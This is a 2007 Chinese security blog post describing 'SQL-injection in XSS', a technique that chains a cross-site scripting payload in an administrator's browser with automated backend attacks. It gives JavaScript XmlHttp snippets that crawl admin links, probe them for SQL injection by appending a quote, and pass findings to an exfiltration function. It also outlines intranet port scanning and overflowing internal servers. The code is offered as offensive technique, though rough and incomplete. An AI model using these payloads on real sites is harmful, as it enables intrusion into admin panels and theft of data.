• 2007/09/05Sql-injection In Xss[SIX]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://www.blogbus.com/h4ck3r-logs/8116175.html

    BY superhei@ph4nt0m.org
    2007-09-04
    http://www.ph4nt0m.org

    SIX存在的意义:
    1、有权限限制的地方总是让人比较放心,比如后台、内网 .... 。而且有的程序官方否认后台漏洞的危险,比如*vbbs对以前那个数据备用得到shell的态度。的确,在权限的限制下,这样的漏洞很难直接被利用。 Xss就和上面的情况一样,也经常被程序员忽视,而且也不太好防,如果2个情况配合起来,那就意味着利用的难度将大大下降...
    2、然后有的人会说xss攻击完全可以通过"劫持"cookie,直接继承权限:比如直接登陆后台。确实这是个好方法,但是有的后台现在都是直接和ip邦定。所以我们可以利用xss直接自动完成后台的一系列攻击如Sql-injection。
    3、对于公开程序,你可以根据htm/js代码来自动实现你要攻击的后台的功能,但是如果是完全黑盒的呢?

    SIX的原理:
    1、利用流程图
    hack----------->前台+++++++>+
     ^ +
     | +
     后台<++++++<+
     ^
     |
    管理员------------
    2、xmlhttp让你的代码悄悄执行:
    luoluo哥哥写的《XmlHttp的简单封装》的codz:http://pstgroup.blogspot.com/2007/08/javascript.html

    SIX的利用:
    1、得到后台的url的code:[code]var xmlhttp = new XmlHttp();
    if (xmlhttp.init()) {
     xmlhttp.get("http://localhost:808/index.php", function(s) {
     //通过管理员登陆前台的,列遍所有连接来查找后台 比如得到admin/index.php
     var re = new RegExp("<a href=\"([^\"]*)", "ig");
     var m = null;
     while ((m = re.exec(s)) != null) {
     alert(m[1]);
     SendUrl(m[1]);//实际中你还要写个函数发送这个数据并且保存,注意这里不可以用xmlhttp发送,因为xmlhttp不可以跨域。
     }

     });
    }

    2、列遍后台连接扫描注射点的code:
    var xmlhttp = new XmlHttp();
    if (xmlhttp.init()) {
     xmlhttp.get("http://localhost:808/admin/index.php", function(s) {
     var re = new RegExp("<a href=\"([^\"]*)", "ig");
     var m = null;
     while ((m = re.exec(s)) != null) {
     var xmlhttp = new XmlHttp();
     if (xmlhttp.init()) {
     xmlhttp.get(m[1]+"'",function(s1){
     if (s1 != null) {
     alert(s1);
     SendUrl(s1);
     }
     });}
     //alert(m[1]);
     }

     });
    }
    这个只是简单的在连接后面加个'探测。

    3、得到后的攻击的code:缺

    上面的代码写的很粗糙,如果你要做完整还需要做很多事情。 :)

    SIX内网:
    很多内网的web在外网是没有办法访问的,如果我们要SIX内网,首先我们要解决的问题是跨域问题:
    1、img iframe script 等可以跨域。
    2、xmlhttp不可以跨域,但可以配合某些跨域漏洞。

    步骤:
    (1)、端口扫描
    Javascript Based Port Scanner : http://www.securiteam.com/exploits/5DP010KJFE.html
    flash port scanner : http://scan.flashsec.org/classes/Main.as
    (2)、扫描列遍url并扫描注射点、攻击
    这个如果利用html了的img iframe script 等是比较难实现的,但是如果利用上面的xmlhttp的代码又不可以直接跨域,所以必须配合某些跨域漏洞[其中寻找Activex的跨域,是个很好的方向?]
    (3)、Overflow in Xss[OIX]:(这个是题外话):如果我们可以跨域,那么我们可以利用xmlhttp直接溢出内网的ftp/http等服务器,当然利用img iframe script 等也可以溢出http/ftp服务器一些url的溢出。要看具体情况了

    最后:感谢luoluo牛:我是你的fans,我顶你!
    分享到: